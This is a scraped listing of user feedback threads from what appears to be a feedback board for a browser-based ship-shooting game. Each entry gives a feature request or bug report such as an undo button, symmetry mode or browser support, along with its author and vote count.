  By critic - 155 months ago
  Unvote

  771 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  746 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  709 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  660 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  644 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

  632 agree

• What browsers are supported?
  By Jack - 151 months ago
  Unvote

  622 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  621 agree

• Awesome
  By Anonymous - 147 months ago
  Unvote

  602 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

  591 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Vote

  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  578 agree

• Save
  By DevilishDB - 153 months ago
  Unvote

  578 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  566 agree

• achievements
  By Lee - 154 months ago
  Unvote

  564 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Unvote

  563 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  563 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  557 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Unvote

  552 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  522 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  521 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  510 agree

• Mirrored editing
  By wombat - 152 months ago
  Unvote

  505 agree

• Designer
  By Anonymous - 155 months ago
  Unvote

  497 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  495 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  489 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Unvote

  482 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  478 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  476 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  469 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  467 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Unvote

  464 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  461 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  460 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  454 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  441 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  433 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  431 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  419 agree